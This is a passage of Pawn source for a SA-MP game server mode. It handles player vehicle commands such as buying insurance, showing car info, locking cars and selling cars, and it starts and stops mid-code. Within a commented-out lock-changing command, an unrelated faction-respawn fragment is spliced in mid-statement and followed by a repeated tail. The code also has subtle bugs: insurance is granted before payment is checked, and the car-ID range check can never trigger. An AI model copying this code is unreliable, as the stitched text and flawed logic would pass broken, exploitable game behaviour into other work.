				if(GetPlayerPool(playerid) < pricee) { format(strlol,512,"You haven't enough cash(+$%s)",FormatNumber(pricee)); return SCM(playerid,COLOR_SINA3,strlol); }
				GivePlayerPool(playerid,-pricee);
				format(strlol,512,"You buy %i insurances for your vehicle for $%s.",insur,FormatNumber(pricee));
				SCM(playerid,COLOR_MAMAD,strlol);
				return 1;
			}
			 else if(CarrID == 4)
			{
				if(vInfo[v4][cInsurance] >= 5) return SCM(playerid,COLOR_SINA3,"You cant buy more than 5 insurances");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /buyinsurance <CarID(1-2)> <Amount>");
				new insur = strval(tmp);
				if(insur > 5-vInfo[v4][cInsurance] || insur <= 0)
				{
					new limitstr[128];
					format(limitstr, 128, "Type a number between 1 and %i.", 5-vInfo[v4][cInsurance]);
					return SCM(playerid,COLOR_SINA3, limitstr);
				}
				vInfo[v4][cInsurance] += insur;
				SaveKonValV(v4, "cInsurance", vInfo[v4][cInsurance]);
				new strlol[512];
				new pricee = (insur*vInfo[v4][cPrice]*1/500);
				if(GetPlayerPool(playerid) < pricee) { format(strlol,512,"You haven't enough cash(+$%s)",FormatNumber(pricee)); return SCM(playerid,COLOR_SINA3,strlol); }
				GivePlayerPool(playerid,-pricee);
				format(strlol,512,"You buy %i insurances for your vehicle for $%s.",insur,FormatNumber(pricee));
				SCM(playerid,COLOR_MAMAD,strlol);
				return 1;
			}
			 else if(CarrID == 5)
			{
				if(vInfo[v5][cInsurance] >= 5) return SCM(playerid,COLOR_SINA3,"You cant buy more than 5 insurances");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /buyinsurance <CarID(1-2)> <Amount>");
				new insur = strval(tmp);
				if(insur > 5-vInfo[v5][cInsurance] || insur <= 0)
				{
					new limitstr[128];
					format(limitstr, 128, "Type a number between 1 and %i.", 5-vInfo[v5][cInsurance]);
					return SCM(playerid,COLOR_SINA3, limitstr);
				}
				vInfo[v5][cInsurance] += insur;
				SaveKonValV(v5, "cInsurance", vInfo[v5][cInsurance]);
				new strlol[512];
				new pricee = (insur*vInfo[v5][cPrice]*1/500);
				if(GetPlayerPool(playerid) < pricee) { format(strlol,512,"You haven't enough cash(+$%s)",FormatNumber(pricee)); return SCM(playerid,COLOR_SINA3,strlol); }
				GivePlayerPool(playerid,-pricee);
				format(strlol,512,"You buy %i insurances for your vehicle for $%s.",insur,FormatNumber(pricee));
				SCM(playerid,COLOR_MAMAD,strlol);
				return 1;
			}
			 else if(CarrID == 6)
			{
				if(vInfo[v6][cInsurance] >= 5) return SCM(playerid,COLOR_SINA3,"You cant buy more than 5 insurances");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /buyinsurance <CarID(1-2)> <Amount>");

				new insur = strval(tmp);
				if(insur > 5-vInfo[v6][cInsurance] || insur <= 0)
				{
					new limitstr[128];
					format(limitstr, 128, "Type a number between 1 and %i.", 5-vInfo[v6][cInsurance]);
					return SCM(playerid,COLOR_SINA3, limitstr);
				}
				vInfo[v6][cInsurance] += insur;
				SaveKonValV(v6, "cInsurance", vInfo[v6][cInsurance]);
				new strlol[512];
				new pricee = (insur*vInfo[v6][cPrice]*1/500);
				if(GetPlayerPool(playerid) < pricee) { format(strlol,512,"You haven't enough cash(+$%s)",FormatNumber(pricee)); return SCM(playerid,COLOR_SINA3,strlol); }
				GivePlayerPool(playerid,-pricee);
				format(strlol,512,"You buy %i insurances for your vehicle for $%s.",insur,FormatNumber(pricee));
				SCM(playerid,COLOR_MAMAD,strlol);
				return 1;
			}
		}

	/*----------------------------------------------------------------------------*/
	   if (strcmp(cmd, "/carinfo", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			new v1 = PINFO[playerid][pVeh1];
			new v2 = PINFO[playerid][pVeh2];
			new v3 = PINFO[playerid][pVeh3];
			new v4 = PINFO[playerid][pVeh4];
			new v5 = PINFO[playerid][pVeh5];
			new v6 = PINFO[playerid][pVeh6];
			if(v1 == 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have any vehicle.");
				if(v1 != 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
					ShowCarInfo(playerid, playerid, 1);
					return 1;
				}
				else if(v1 == 0 && v2 != 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
					ShowCarInfo(playerid, playerid, 2);
					return 1;
				}
				else if(v1 == 0 && v2 == 0 && v3 != 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
					ShowCarInfo(playerid, playerid, 3);
					return 1;
				}
				else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 != 0 && v5 == 0 && v6 == 0)
				{
					ShowCarInfo(playerid, playerid, 4);
					return 1;
				}
				else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 != 0 && v6 == 0)
				{
					ShowCarInfo(playerid, playerid, 5);
					return 1;
				}
				else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 != 0)
				{
					ShowCarInfo(playerid, playerid, 6);
					return 1;
				}
				else if((v1 != 0 && v2 != 0) || (v1 != 0 && v3 != 0) || (v1 != 0 && v4 != 0) || (v1 != 0 && v5 != 0) || (v1 != 0 && v6 != 0))
				{
					tmp = strtok(cmdtext,idx);
					if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carinfo <CarID(1-2)>");
					new cca = strval(tmp);
					if(cca < 1 && cca > 6) return SCM(playerid,COLOR_Orang,"Invalid CarID.");
					if(cca == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					ShowCarInfo(playerid, playerid, cca);
					return 1;
				}
				 else if((v2 != 0 && v3 != 0) || (v2 != 0 && v4 != 0) || (v2 != 0 && v5 != 0) || (v2 != 0 && v6 != 0) || (v3 != 0 && v4 != 0) || (v3 != 0 && v5 != 0) || (v3 != 0 && v6 != 0))
				{
					tmp = strtok(cmdtext,idx);
					if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carinfo <CarID(1-2)>");
					new cca = strval(tmp);
					if(cca < 1 && cca > 6) return SCM(playerid,COLOR_Orang,"Invalid CarID.");
					if(cca == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					ShowCarInfo(playerid, playerid, cca);
					return 1;
				}
				else if((v3 != 0 && v4 != 0) || (v3 != 0 && v5 != 0) || (v3 != 0 && v6 != 0) || (v4 != 0 && v5 != 0) || (v4 != 0 && v6 != 0) || (v5 != 0 && v6 != 0))
				{
					tmp = strtok(cmdtext,idx);
					if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carinfo <CarID(1-2)>");
					new cca = strval(tmp);
					if(cca < 1 && cca > 6) return SCM(playerid,COLOR_Orang,"Invalid CarID.");
					if(cca == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					if(cca == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_Orang,"Invalid CarID");
					ShowCarInfo(playerid, playerid, cca);
					return 1;
				}
			}
			return 1;
		}
		/*
		if(!strcmp(cmd,"/savevehicle",true))
		{
			new title[512];
			title = strtok(cmdtext,idx);
			if(!strlen(title)) return SCM(playerid,COL_SYN,"Syntax: /savevehicle <Title> <Color1> <Color2>");
			if(PlayerInfo[playerid][pAdmin] <= 6) return SCM(playerid,COLOR_YELLOW2,"Error: Unknown command.");
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_MAMAD,"You must be in a vehicle to save it.");
			new mashin = GetPlayerVehicleID(playerid);
			new Float:px,Float:py,Float:pz;
			GetVehiclePos(mashin,px,py,pz);
			new modell = GetVehicleModel(mashin);
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /savevehicle <Title> <Color1> <Color2>");
			new Color1 = strval(tmp);
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /savevehicle <Title> <Color1> <Color2>");
			new Color2 = strval(tmp);
			new Float:ang;
			GetVehicleZAngle(mashin,ang);
			SCM(playerid,COLOR_Good,"Neveshte shod.");
			new File: file;
			new pos[512];
			format(pos, 512, "AddStaticVehicle(%d,%f,%f,%f,%f,%d,%d);//Vehid:%d Title:%s\n",
			modell,px,py,pz,ang,Color1,Color2,mashin,title);
			printf(pos);
			file = fopen("niaz/mashins.txt", io_append);
			fwrite(file, pos);
			fclose(file);
			return 1;
		}
		*/
		/*if(strcmp(cmd,"/kojam",true)==0)
		{
		if(PlayerInfo[playerid][pAdmin] <= 0)
		{
		SCM(playerid,COLOR_YELLOW2,"You are not an admin.");
		return 1;
		}
		new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Kojam <Title>");
								return 1;
							}
		new Float:angg;
		GetPlayerFacingAngle(playerid,angg);
		new strring[256];
		new Float:x,Float:y,Float:z;
		GetPlayerPos(playerid,x,y,z);
		format(strring,sizeof(strring),"You are in {FFFFFF}( %f,%f,%f )",x,y,z);
		SCM(playerid,COLOR_LIGHTRED,strring);
		new File: file;
		new pos[512];
		format(pos, 512, "\nPosX: %f PosY: %f PosZ: %f\nSource: %f,%f,%f Virtual World: %d Interior: %i Angel: %f Description: %s"
		,x,y,z,x,y,z,GetPlayerVirtualWorld(playerid),GetPlayerInterior(playerid),angg,(result));
		print(pos);
	file = fopen("niaz/poses.cfg", io_append);
	fwrite(file, pos);
	fclose(file);
	SCM(playerid,COLOR_SINA3,"&& Neveshte shod dar poses.cfg");
		return 1;
		}
*/
	//------------------------------------Lock------------------------------------
		  if(strcmp(cmd, "/lock", true) == 0)
		{
			new alich = GetNearestVehicle(playerid, 10.0);
			if(alich == INVALID_VEHICLE_ID)
			{
				//SCM(playerid,COLOR_SINA3,"There is no vehicle or You haven't key of this vehicle.");
				return 1;
			}
			if(OwnedMashin[alich] == 1) {
			new cc = 0;
			new key = 0;
			new c1 = PlayerInfo[playerid][pCar_1];
			new c2 = PlayerInfo[playerid][pCar_2];
			new c3 = PlayerInfo[playerid][pCar_3];
			new c4 = PlayerInfo[playerid][pCar_4];
			new c5 = PlayerInfo[playerid][pCar_5];
			new c6 = PlayerInfo[playerid][pCar_6];

			if(c1 == alich) {cc = PINFO[playerid][pVeh1];key = IHaveKey[playerid];}
			else if(c2 == alich) {cc = PINFO[playerid][pVeh2];key = IHaveKey_2[playerid];}
			else if(c3 == alich) {cc = PINFO[playerid][pVeh3];key = IHaveKey_3[playerid];}
			else if(c4 == alich) {cc = PINFO[playerid][pVeh4];key = IHaveKey_4[playerid];}
			else if(c5 == alich) {cc = PINFO[playerid][pVeh5];key = IHaveKey_5[playerid];}
			else if(c6 == alich) {cc = PINFO[playerid][pVeh6];key = IHaveKey_6[playerid];}

			if(OwnedMashin[alich] == 1 && vInfo[cc][cLock] == 1 && (cc != 0 || key == alich))
			{
				new vehicles = GetVehicleModel(alich) - 400;
				new ali[256];
				format(ali,sizeof(ali),"~w~%s ~g~Unlocked",aVehicleNames[vehicles]);
				for(new i=0; i < Akharish; i++)
				{
					SetVehicleParamsForPlayer(alich,i,0,0);
					LockIs[alich][i] = 0;
				}
				GameTextForPlayer(playerid, ali, 4000, 3);
				vInfo[cc][cLock] = 0;
				SaveKonValV(cc, "cLock", 0);
				PlayerTextDrawSetString(playerid, LockTD[playerid], "Status:~g~ Unlocked");
				new Float:X,Float:Y,Float:Z;
				GetPlayerPos(playerid,X,Y,Z);
				PlayerPlaySound(playerid,1056,X,Y,Z);
				//SaveAccount(MashinOwner[alich]);
				return 1;
			}
			else if(OwnedMashin[alich] == 1 && vInfo[cc][cLock] == 0 && (cc != 0 || key == alich))
			{
				new vehicles = GetVehicleModel(alich) - 400;
				new ali[256];
				format(ali,sizeof(ali),"~w~%s ~r~Locked",aVehicleNames[vehicles]);
				for(new i=0; i < Akharish; i++)
				{
					SetVehicleParamsForPlayer(alich,i,0,1);
					LockIs[alich][i] = 0;
				}
				GameTextForPlayer(playerid, ali, 4000, 3);
				vInfo[cc][cLock] = 1;
				SaveKonValV(cc, "cLock", 1);
				PlayerTextDrawSetString(playerid, LockTD[playerid], "Status:~r~ Locked");
				new Float:X,Float:Y,Float:Z;
				GetPlayerPos(playerid,X,Y,Z);
				PlayerPlaySound(playerid,1056,X,Y,Z);
				//SaveAccount(MashinOwner[alich]);
				return 1;
			}

		   }
			else if(MashinRenter[alich] != INVALID_PLAYER_ID && RentedVehicle[playerid] == alich && gCarLock[alich] == 0)
			{
				new vehicles = GetVehicleModel(alich) - 400;
				format(string, sizeof(string), "~w~%s Rent ~r~Locked", aVehicleNames[vehicles]);
				GameTextForPlayer(playerid, string, 4000, 3);
				PlayerPlaySound(playerid, 1145, 0.0, 0.0, 0.0);
				gCarLock[alich] = 1;
				for(new i=0; i < Akharish; i++)
				{
					SetVehicleParamsForPlayer(alich,i,0,1);
				}
				new Float:X,Float:Y,Float:Z;
				GetPlayerPos(playerid,X,Y,Z);
				PlayerPlaySound(playerid,1056,X,Y,Z);
				return 1;
			}
			else if(MashinRenter[alich] != INVALID_PLAYER_ID && RentedVehicle[playerid] == alich && gCarLock[alich] == 1)
			{
				new vehicles = GetVehicleModel(alich) - 400;
				format(string, sizeof(string), "~w~%s Rent ~g~UnLocked", aVehicleNames[vehicles]);
				GameTextForPlayer(playerid, string, 4000, 3);
				PlayerPlaySound(playerid, 1145, 0.0, 0.0, 0.0);
				gCarLock[alich] = 0;
				for(new i=0; i < Akharish; i++)
				{
					SetVehicleParamsForPlayer(alich,i,0,0);
				}
				new Float:X,Float:Y,Float:Z;
				GetPlayerPos(playerid,X,Y,Z);
				PlayerPlaySound(playerid,1056,X,Y,Z);
				return 1;
			}
			else
			{
				//SCM(playerid,COLOR_SINA3,"There is no vehicle or You haven't key of this vehicle.");
				return 1;
			}
			return 1;
		}

		/*if(strcmp(cmd,"/changelock",true)==0)
		{
			if(IsPlayerConnected(playerid)) return SCM(playerid, COLOR_LIGHTRED, "Error: this command disabled by staffs.");
			if(PINFO[playerid][pCar] != 0 && PINFO[playerid][pCar_2] != 0)
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changelock <CarID(1 or 2)");
				new carid = strval(tmp);
				if(carid != 1 && carid != 2) return SCM(playerid,COLOR_SINA3,"Invalid carid.");
				if(carid == 1)
				{
					if(KeyDade[playerid] != 9999 && IsPlayerConnected(KeyDade[playerid]))
					{
						IHaveKey[KeyDade[playerid]] = 0;
						SCM(KeyDade[playerid],COLOR_SINA3,"owner of vehicle changed the lock and you losted your key(CarID: 1)");
						KeyDade[playerid] = 9999;
						SCM(playerid,COLOR_SINA3,"You change your vehicle lock.");
						return 1;
					}
					else
					{
						SCM(playerid,COLOR_SINA3,"You change your vehicle lock.");
						return 1;
					}
				}
				if(carid == 2)
				{
					if(KeyDade_2[playerid] != 9999 && IsPlayerConnected(KeyDade_2[playerid]))
					{
						IHaveKey_2[KeyDade_2[playerid]] = 0;
						SCM(KeyDade_2[playerid],COLOR_SINA3,"owner of vehicle changed the lock and you losted your key(CarID: 2)");
						KeyDade_2[playerid] = 9999;
						SCM(playerid,COLOR_SINA3,"You change your vehicle lock.");
						return 1;
					}
					else
	(PlayerInfo[playerid][pLeader] == 12 || (PINFO[playerid][pMember] == 12 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 336;i<342;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		SetVehicleToRespawn(504);
		SetVehicleToRespawn(505);
		SetVehicleToRespawn(506);
		SetVehicleToRespawn(507);
		SetVehicleToRespawn(508);
		SetVehicleToRespawn(509);
		SetVehicleToRespawn(510);
		SetVehicleToRespawn(511);
		SetVehicleToRespawn(512);
		SetVehicleToRespawn(513);
		SetVehicleToRespawn(514);
		SetVehicleToRespawn(515);
		SetVehicleToRespawn(518);
		SetVehicleToRespawn(519);
		SetVehicleToRespawn(520);
		}
		else
		{
		new str[256];
		new nametaraf[40];
		GetPlayerName(GetVehicleDriverID(i),nametaraf,40);
		format(str,256,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA3,str);
		}
		}
	KeyDade_2[playerid] != 9999 && IsPlayerConnected(KeyDade_2[playerid]))
				{
					IHaveKey_2[KeyDade_2[playerid]] = 0;
					SCM(KeyDade_2[playerid],COLOR_SINA3,"owner of vehicle changed the lock and you losted your key(CarID: 2)");
					KeyDade_2[playerid] = 9999;
					SCM(playerid,COLOR_SINA3,"You change your vehicle lock.");
					return 1;
				}
				else
				{
					SCM(playerid,COLOR_SINA3,"You change your vehicle lock.");
					return 1;
				}
			}
			else
			{
				SCM(playerid,COLOR_MAMAD,"You haven't a Personal car.");
				return 1;
			}
		} */

		/*if(!strcmp(cmd,"/carcolor",true))
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
		   new v1 = PINFO[playerid][pVeh1];
			new v2 = PINFO[playerid][pVeh2];
			new v3 = PINFO[playerid][pVeh3];
			new v4 = PINFO[playerid][pVeh4];
			new v5 = PINFO[playerid][pVeh5];
			new v6 = PINFO[playerid][pVeh6];


			new carid = GetPlayerVehicleID(playerid);
			 if(carid == PINFO[playerid][pCar_1])
				{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col1 = strval(tmp);
				if((col1 < 0 || col1 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID1 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col2 = strval(tmp);
				if((col2 < 0 || col2 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID2 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				if(col1 < 0 || col1 > 255 || col2 < 0 || col2 > 255) return SCM(playerid, COLOR_SINA3, "Invalid color id.");
				ChangeVehicleColor(carid,col1,col2);
				vInfo[v1][cColor1] = col1;
				SaveKonValV(v1, "cColor1", col1);
				vInfo[v1][cColor2] = col2;
				SaveKonValV(v1, "cColor2", col2);
				GivePlayerPool(playerid,-100);             // Pool Begir by Sina
				GameTextForPlayer(playerid, "~r~-$100", 5000, 1);            // Rou Safe Neshun Bede by Sina
				}
				else if(carid == PINFO[playerid][pCar_2])
				{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col1 = strval(tmp);
				if((col1 < 0 || col1 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID1 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col2 = strval(tmp);
				if((col2 < 0 || col2 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID2 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				if(col1 < 0 || col1 > 255 || col2 < 0 || col2 > 255) return SCM(playerid, COLOR_SINA3, "Invalid color id.");
				ChangeVehicleColor(carid,col1,col2);
				vInfo[v2][cColor1] = col1;
				SaveKonValV(v2, "cColor1", col1);
				vInfo[v2][cColor2] = col2;
				SaveKonValV(v2, "cColor2", col2);
				GivePlayerPool(playerid,-100);             // Pool Begir by Sina
				GameTextForPlayer(playerid, "~r~-$100", 5000, 1);            // Rou Safe Neshun Bede by Sina
				}
				else if(carid == PINFO[playerid][pCar_3])
				{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col1 = strval(tmp);
				if((col1 < 0 || col1 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID1 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col2 = strval(tmp);
				if((col2 < 0 || col2 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID2 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				if(col1 < 0 || col1 > 255 || col2 < 0 || col2 > 255) return SCM(playerid, COLOR_SINA3, "Invalid color id.");
				ChangeVehicleColor(carid,col1,col2);
				vInfo[v3][cColor1] = col1;
				SaveKonValV(v3, "cColor1", col1);
				vInfo[v3][cColor2] = col2;
				SaveKonValV(v3, "cColor2", col2);
				GivePlayerPool(playerid,-100);             // Pool Begir by Sina
				GameTextForPlayer(playerid, "~r~-$100", 5000, 1);            // Rou Safe Neshun Bede by Sina
				}
				else if(carid == PINFO[playerid][pCar_4])
				{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col1 = strval(tmp);
				if((col1 < 0 || col1 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID1 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col2 = strval(tmp);
				if((col2 < 0 || col2 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID2 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				if(col1 < 0 || col1 > 255 || col2 < 0 || col2 > 255) return SCM(playerid, COLOR_SINA3, "Invalid color id.");
				ChangeVehicleColor(carid,col1,col2);
				vInfo[v4][cColor1] = col1;
				SaveKonValV(v4, "cColor1", col1);
				vInfo[v4][cColor2] = col2;
				SaveKonValV(v4, "cColor2", col2);
				GivePlayerPool(playerid,-100);             // Pool Begir by Sina
				GameTextForPlayer(playerid, "~r~-$100", 5000, 1);            // Rou Safe Neshun Bede by Sina
				}
				else if(carid == PINFO[playerid][pCar_5])
				{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col1 = strval(tmp);
				if((col1 < 0 || col1 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID1 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col2 = strval(tmp);
				if((col2 < 0 || col2 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID2 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				if(col1 < 0 || col1 > 255 || col2 < 0 || col2 > 255) return SCM(playerid, COLOR_SINA3, "Invalid color id.");
				ChangeVehicleColor(carid,col1,col2);
				vInfo[v5][cColor1] = col1;
				SaveKonValV(v5, "cColor1", col1);
				vInfo[v5][cColor2] = col2;
				SaveKonValV(v5, "cColor2", col2);
				GivePlayerPool(playerid,-100);             // Pool Begir by Sina
				GameTextForPlayer(playerid, "~r~-$100", 5000, 1);            // Rou Safe Neshun Bede by Sina
				}
				else if(carid == PINFO[playerid][pCar_6])
				{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col1 = strval(tmp);
				if((col1 < 0 || col1 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID1 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carcolor <ColorID1> <ColorID2>");
				new col2 = strval(tmp);
				if((col2 < 0 || col2 > 128) && PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_SINA3,"You must use a ColorID2 between 0 and 128 (If you upgrade your account to premium account you can use 0 to 255)");
				if(col1 < 0 || col1 > 255 || col2 < 0 || col2 > 255) return SCM(playerid, COLOR_SINA3, "Invalid color id.");
				ChangeVehicleColor(carid,col1,col2);
				vInfo[v6][cColor1] = col1;
				SaveKonValV(v6, "cColor1", col1);
				vInfo[v6][cColor2] = col2;
				SaveKonValV(v6, "cColor2", col2);
				GivePlayerPool(playerid,-100);             // Pool Begir by Sina
				GameTextForPlayer(playerid, "~r~-$100", 5000, 1);            // Rou Safe Neshun Bede by Sina
				}
			else return SCM(playerid,COLOR_SINA3,"You must sit on your vehicle to change your vehicle color.");
			return 1;
		}*/
	   if (strcmp(cmd, "/sellcarto", true) == 0)
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_1])
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new taraf = ReturnUser6(tmp);
				if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
				if(!ProxDetectorS(5.0, playerid, taraf)) return SCM(playerid,COLOR_SINA3,"You must near this player.");
				if(PINFO[taraf][pLevel] <= 4) return SCM(playerid,COLOR_SINA3,"That player must has more than 5 levels.");
				if(taraf == playerid) return SCM(playerid, COLOR_SINA3, "You cannot sell car to yourself.");
				if(PINFO[taraf][pPremiumAccount] == 0 && PINFO[taraf][pCar_1] != 0) return SCM(playerid,COLOR_SINA3,"That player is already have 1 personal car.");
				if(PINFO[taraf][pPremiumAccount] == 1 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0) return SCM(playerid,COLOR_SINA3,"That player is already have 2 personal cars.");
				//if(PINFO[taraf][pPremiumAccount] == 2 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0 && PINFO[taraf][pCar_3] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has personal car.");
				if(OnSellCar[playerid] == taraf) return SCM(playerid,COLOR_SINA3,"You already called for a sellcar to this player, wait for a reply.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new pil = strval(tmp);
				if(pil <= -1 || pil >= 100000000) return SCM(playerid,COLOR_SINA3,"Price must be between $0 and $100,000,000");
